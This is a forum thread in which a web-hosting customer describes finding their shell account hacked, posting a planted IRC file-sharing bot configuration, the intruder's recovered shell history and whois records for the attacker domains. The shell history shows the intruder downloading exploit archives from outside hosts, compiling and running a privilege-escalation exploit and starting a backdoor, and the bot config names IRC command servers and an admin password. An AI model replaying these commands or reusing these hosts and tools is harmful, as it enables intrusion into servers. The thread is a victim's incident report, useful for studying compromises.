Welcome to the MacNN Forums.

If this is your first visit, be sure to check out the FAQ by clicking the link above. You may have to register before you can post: click the register link above to proceed. To start viewing messages, select the forum that you want to visit from the selection below.

You are here: MacNN Forums > Community > MacNN Lounge > Holy Crap... My Dreamhost Account Was Hacked

Holy Crap... My Dreamhost Account Was Hacked
Thread Tools
Fresh-Faced Recruit
Join Date: Sep 2006
Status: Offline
Reply With Quote
Sep 5, 2006, 04:41 PM
 
Note: not posting this from my main account.

So this all started when I tried to commit something to one of my subversion repositories, today.

Code:
> svn commit -m "My message." Sending FILENAME Transmitting file data .svn: Commit failed (details follow): svn: MERGE request failed on '/PATH/TO/REPOSITORY/trunk' svn: Can't move '/home/USERNAME/svn/REPOSITORY/db/transactions/199-1.txn/rev' to '/home/USERNAME/svn/REPOSITORY/db/revs/200': Is a directory
I wasn't really sure why I was getting this error, so I ssh'ed into my server, changed to that directory, and saw the following:

Code:
ls -a ~/svn/REPOSITORY/db/revs/200/ . .. {various .tar files containing disgusting porn titles and strings like DVDRIP and XVID} httpd sql tmp.pid tmp.state tmp.state~ x
Crap. Porn. And an httpd binary. Looks like they are using my account to serve up porno all across the web.

Contents of sql:
Code:
pidfile tmp.pid #logfile mybot2.log logstats none #logrotate weekly statefile tmp.state connectionmethod direct server_join_raw server_connected_raw channel_join_raw server und3rd0g.ma.cx 6667 server und3rd0g.ma.cx 6660 server beast.crabdance.com 6667 server beast.crabdance.com 6660 server beast.servegame.org 6667 server beast.servegame.org 6660 server evengod.gotdns.org 6667 server evengod.gotdns.org 6660 loginname beast channel #beast-stro -plist 10 channel #beast-xdcc -plist 30 user_nick beast-Dream-sushi user_realname beastxdcc user_modes +i autoignore_exclude *!yarden@*.* slotsmax 15 queuesize 30 maxtransfersperperson 1 maxqueueditemsperperson 1 filedir /home/USERNAME/svn/REPOSITORY/db/revs/200 restrictlist restrictprivlist restrictprivlistmsg Take Your time .. ill list in the channel, go get a beer! restrictsend respondtochannelxdcc respondtochannellist smallfilebypass 1048 downloadhost *!*@* transferminspeed 1 creditline Brought to you by Beast-XDCC adminpass 7fORyvKdK2IAc adminhost *!~@*.* adminhost *!@*.* adminhost *!*@*.* uploadhost *!*@* uploaddir /home/USERNAME/svn/REPOSITORY/db/revs/200 uploadmaxsize 0 hideos notifytime 0
Other files were all binary except for the tmp.pid file which just had a process ID.

At this point, I decided at a whim to check my .bash_history file.

Code:
id uname -a uptime w cd /tmp ls mkdir .a ls cd .a pwpwd pwd ls wget mafioza.net/local1.tar.gz tar -xzf local1.tar.gz cd local1 ls gcc prctlpute.c -o prctlpute ./prctlpute chmod 777 * ls ./prctlpute wget mafioza.net/local.tar.gz tar -xzf local.tar.gz cd local ls ./a pwd cd /tmp rm -fr .a ls mkdir .tmp cd .tmp ls cd local ls cd .. ls cd knb ls cat conf cat aa ssh id wget wget mafija.la/~loco/.unix/redone.tar.gz tar -xzf redone.tar.gz ls cd redone ls cat config ./config XentoniX 11180 ./config cd ls pwd ls ./fucj ./**** (censored out. should be obvious from the previous typo.) ls cd .. ls mkdir .a cd .a ls wget mafioza.net/knb2.tar.gz tar -xzf knb2.tar.gz ls cd knb ls cat cd /tmp/.tmp ls cd knb ls cd .a ls cd knb ls rm conf wget mafioza.net/conf ./knb conf chmod 777 * ls ./knb conf id ps x cat /tmp/bdpl
Wow. And guess what? All of those files they downloaded are still available from their server.

Code:
>whois mafioza.net Whois Server Version 2.0 Domain names in the .com and .net domains can now be registered with many different competing registrars. Go to http://www.internic.net for detailed information. Domain Name: MAFIOZA.NET Registrar: TUCOWS INC. Whois Server: whois.opensrs.net Referral URL: http://domainhelp.tucows.com Name Server: NS2.AFRAID.ORG Name Server: NS1.AFRAID.ORG Status: REGISTRAR-LOCK EPP Status: clientDeleteProhibited EPP Status: clientTransferProhibited EPP Status: clientUpdateProhibited Updated Date: 22-May-2006 Creation Date: 22-May-2006 Expiration Date: 22-May-2016 >>> Last update of whois database: Tue, 05 Sep 2006 16:41:08 EDT <<< Registrant: Eurospin eko d.o.o. Renski podkraj 65 RENCE, Slovenia 5292 SI Domain name: MAFIOZA.NET Administrative Contact: MihajlovicDraza, KPAJNHAevropskaZajednica martina.bacic@eurospineko.si Renski podkraj 65 RENCE, Slovenia 5292 SI +386.41962364 Technical Contact: Technical support, SiOL dns@siol.net Cigaletova 15 Ljubljana, 1000 SI +386.14730000 Fax: +386.14730016 Registration Service Provider: SiOL d.o.o., tomaz.pernovsek@siol.si +386 1 473 00 00 Registrar of Record: TUCOWS, INC. Record last updated on 22-May-2006. Record expires on 22-May-2016. Record created on 22-May-2006. Domain servers in listed order: NS1.AFRAID.ORG NS2.AFRAID.ORG Domain status: clientDeleteProhibited clientTransferProhibited clientUpdateProhibited
The files from mafioza.net look to be of the standard buffer-overflow-hack-a-linux-script-kiddie stuff, but I am not too familiar with these things.

Do any of you guys have any ideas? What do you think? I don't think I was password-guessed since my password was over 8 characters long and contained letters of both cases as well as numbers. Regardless, I changed my password as soon as I found out about all of this stuff.

Do you think it could be due to an insecure install of phpBB or Gallery? Almost everything I am running is of the latest version, but occasionally it takes me a couple months to upgrade everything. Or maybe the server I am on was generally hacked and they just started using accounts existing on the machine?

I have alerted Dreamhost about all of this. I'll let you know how they respond.
(Last edited by DreamhostMan; Sep 5, 2006 at 05:04 PM. )
     
Fresh-Faced Recruit
Join Date: Sep 2006
Status: Offline
Reply With Quote
Sep 5, 2006, 04:49 PM
 
Oh, and that knb process was still running. I killed it right quick.
     
Clinically Insane
Join Date: Jun 2001
Location: planning a comeback !
Status: Offline
Reply With Quote
Sep 5, 2006, 04:51 PM
 
Weirdest first post evar !

Dude, was your password "admin" ?

-t
     
Fresh-Faced Recruit
Join Date: Sep 2006
Status: Offline
Reply With Quote
Sep 5, 2006, 04:53 PM
 
Originally Posted by what_the_heck
Weirdest first post evar !

Dude, was your password "admin" ?

-t
Did you even read the entire post? No, it was not.
     
Fresh-Faced Recruit
Join Date: Sep 2006
Status: Offline
Reply With Quote
Sep 5, 2006, 04:59 PM
 
Other server involved:

Code:
>whois mafija.la Domain ID:D416128-LRCC Domain Name:MAFIJA.LA Created On:06-Jul-2006 13:31:30 UTC Last Updated On:05-Sep-2006 03:15:03 UTC Expiration Date:06-Jul-2011 13:31:30 UTC Sponsoring Registrar:LA Names Corporation (R27-LRCC) Status:OK Registrant ID:LAREG-44AD0EAF1 Registrant Name:Leonard Holmes Registrant Organization:KPAJNHA Registrant Street1:47 Leggatts Wood Avenue Registrant City:Watford Registrant Postal Code:WD24 6RL Registrant Country:GB Registrant Phone:+44.4401923231998 Registrant Email:leonard.holmes06@yahoo.co.uk Admin ID:LAREG-44AD0EAF1 Admin Name:Leonard Holmes Admin Organization:KPAJNHA Admin Street1:47 Leggatts Wood Avenue Admin City:Watford Admin Postal Code:WD24 6RL Admin Country:GB Admin Phone:+44.4401923231998 Admin Email:leonard.holmes06@yahoo.co.uk Tech ID:LAREG-44AD0EAF1 Tech Name:Leonard Holmes Tech Organization:KPAJNHA Tech Street1:47 Leggatts Wood Avenue Tech City:Watford Tech Postal Code:WD24 6RL Tech Country:GB Tech Phone:+44.4401923231998 Tech Email:leonard.holmes06@yahoo.co.uk Name Server:NS1.AFRAID.ORG Name Server:NS2.AFRAID.ORG Name Server:NS3.AFRAID.ORG Name Server:NS4.AFRAID.ORG
     
Clinically Insane
Join Date: Jun 2001
Location: planning a comeback !
Status: Offline
Reply With Quote
Sep 5, 2006, 05:07 PM
 
Originally Posted by DreamhostMan
Did you even read the entire post? No, it was not.
No, information overload.

-t
     
baw
Mac Elite
Join Date: Jun 2005
Status: Offline
Reply With Quote
Sep 5, 2006, 05:11 PM
 
     
   
Thread Tools
Forum Links
Forum Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On
Top
Privacy Policy
All times are GMT -5. The time now is 06:12 PM.
All contents of these forums © 1995-2011 MacNN. All rights reserved.
Branding + Design: www.gesamtbild.com
vBulletin v.3.8.7 © 2000-2011, Jelsoft Enterprises Ltd., Content Relevant URLs by vBSEO 3.3.2